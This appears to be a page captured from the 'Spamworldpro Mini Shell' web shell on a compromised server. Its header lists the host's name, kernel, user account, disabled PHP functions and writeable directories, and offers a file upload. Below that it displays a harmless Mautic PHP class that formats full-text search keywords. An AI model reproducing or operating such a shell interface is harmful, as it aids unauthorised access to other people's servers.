Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mautic.corals.io/app/bundles/CoreBundle/Doctrine/Helper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mautic.corals.io/app/bundles/CoreBundle/Doctrine/Helper/FulltextKeyword.php
<?php

declare(strict_types=1);

namespace Mautic\CoreBundle\Doctrine\Helper;

class FulltextKeyword implements \Stringable
{
    public function __construct(
        private string $value,
        private bool $booleanMode = true,
        private bool $wordSearch = true,
        private bool $wordInflecting = false
    ) {
    }

    public function __toString(): string
    {
        return $this->format();
    }

    public function format(): string
    {
        $return = '';
        $value  = mb_substr($this->value, 0, 255);

        if ($this->wordSearch) {
            $words     = explode(' ', preg_replace('/[^\p{L}\p{N}_]+/u', ' ', $value));
            $wordCount = count($words);

            for ($i = 0; $i < $wordCount; ++$i) {
                $word = $words[$i];

                if ($this->booleanMode) {
                    // strip boolean operators
                    $word = str_replace(['+', '-', '@', '<', '>', '(', ')', '~', '*', '"'], '', $word);
                }

                $wordLength = mb_strlen($word);

                if ($wordLength > 0) {
                    if ($this->booleanMode) {
                        if ($this->wordInflecting && $wordLength > 3) {
                            $return .= '+('.$word.'* <'.mb_substr($word, 0, $wordLength - 1).'*)';
                        } else {
                            $return .= '+'.$word.'*';
                        }
                    } else {
                        $return .= $word;
                    }

                    $return .= ' ';
                }
            }

            $return = trim($return);
        }

        // append phrase search with a higher rank
        if ($this->booleanMode && $value) {
            $return = sprintf('%s"%s"', $return ? '('.$return.') >' : '', trim(str_replace('"', "'", $value)));
        }

        return $return;
    }
}

Spamworldpro Mini